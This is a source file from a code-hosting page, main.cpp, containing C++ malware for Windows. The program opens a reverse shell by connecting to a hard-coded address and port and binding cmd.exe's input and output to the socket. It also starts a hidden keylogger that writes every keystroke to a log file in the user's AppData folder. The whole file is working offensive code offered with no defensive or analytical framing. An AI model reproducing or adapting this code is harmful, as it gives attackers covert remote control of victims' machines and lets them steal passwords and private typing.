-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
134 lines (115 loc) · 3.61 KB
/
main.cpp
File metadata and controls
134 lines (115 loc) · 3.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include<iostream>
#include<winsock2.h>
#include<windows.h>
#include<stdio.h>
#include<ws2tcpip.h>
#include<thread>
#include<winuser.h>
#include<fstream>
#include<tchar.h>
#pragma comment(lib, "Ws2_32.lib")
using namespace std;
void log();
char filter_char(char key);
void hide_console();
void keylog();
int main(){
SOCKET shell;
sockaddr_in shell_addr;
WSADATA ws;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char RecvServer[512];
int connect;
char ip_addr[] = "192.168.1.9";
int port = 8081;
WSAStartup(MAKEWORD(2,2), &ws);
shell = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
shell_addr.sin_port = htons(port);
shell_addr.sin_family = AF_INET;
shell_addr.sin_addr.s_addr = inet_addr(ip_addr);
connect = WSAConnect(shell, (SOCKADDR*)&shell_addr, sizeof(shell_addr), NULL, NULL, NULL, NULL);
if(connect == SOCKET_ERROR){
printf("[!] Connection to the target server failed, Please Try again!\n");
exit(0);
}
else{
thread key_log(keylog);
recv(shell, RecvServer, sizeof(RecvServer), 0);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE) shell;
CreateProcess(NULL, _T("cmd.exe"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
memset(RecvServer, 0, sizeof(RecvServer));
}
return 0;
}
void hide_console(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
char filter_char(char key){
//this if statement checks whether the key is upper case and if the shift key is not pressed then it changes the character to lower case
if((key>64) && (key<91) && !GetAsyncKeyState(0x10)){
return key+32;
}
else{
if(GetAsyncKeyState(0x10)){
switch(key){
case 49: return '!';
case 50: return '@';
case 51: return '#';
case 52: return '$';
case 53: return '%';
case 54: return '^';
case 55: return '&';
case 56: return '*';
case 57: return '(';
case 58: return ')';
}
}
else
return key;
}
}
void log(){
char key;
char* appdata = getenv("APPDATA");
strcat(appdata,"\\log.txt");
for(;;){
// sleep(0);
// the below loop is like looping through ascii values of the charcter
for(key=8;key<=222;key++){
//getasynckeystate function is a system interrupt which checks whether the user has entered the a keystroke
if(GetAsyncKeyState(key) == -32767){
ofstream write (appdata, ios::app);
// write << c;
switch(key){
case 8: write<<"<BackSpace>";
break;
case 27: write<<"<Esc>";
break;
case 127: write<<"<DEL>";
break;
case 32: write<<" ";
break;
case 13: write<<"<Enter>\n";
break;
default: write<<filter_char(key);
break;
}
write.close();
}
}
}
}
void keylog(){
hide_console();
log();
}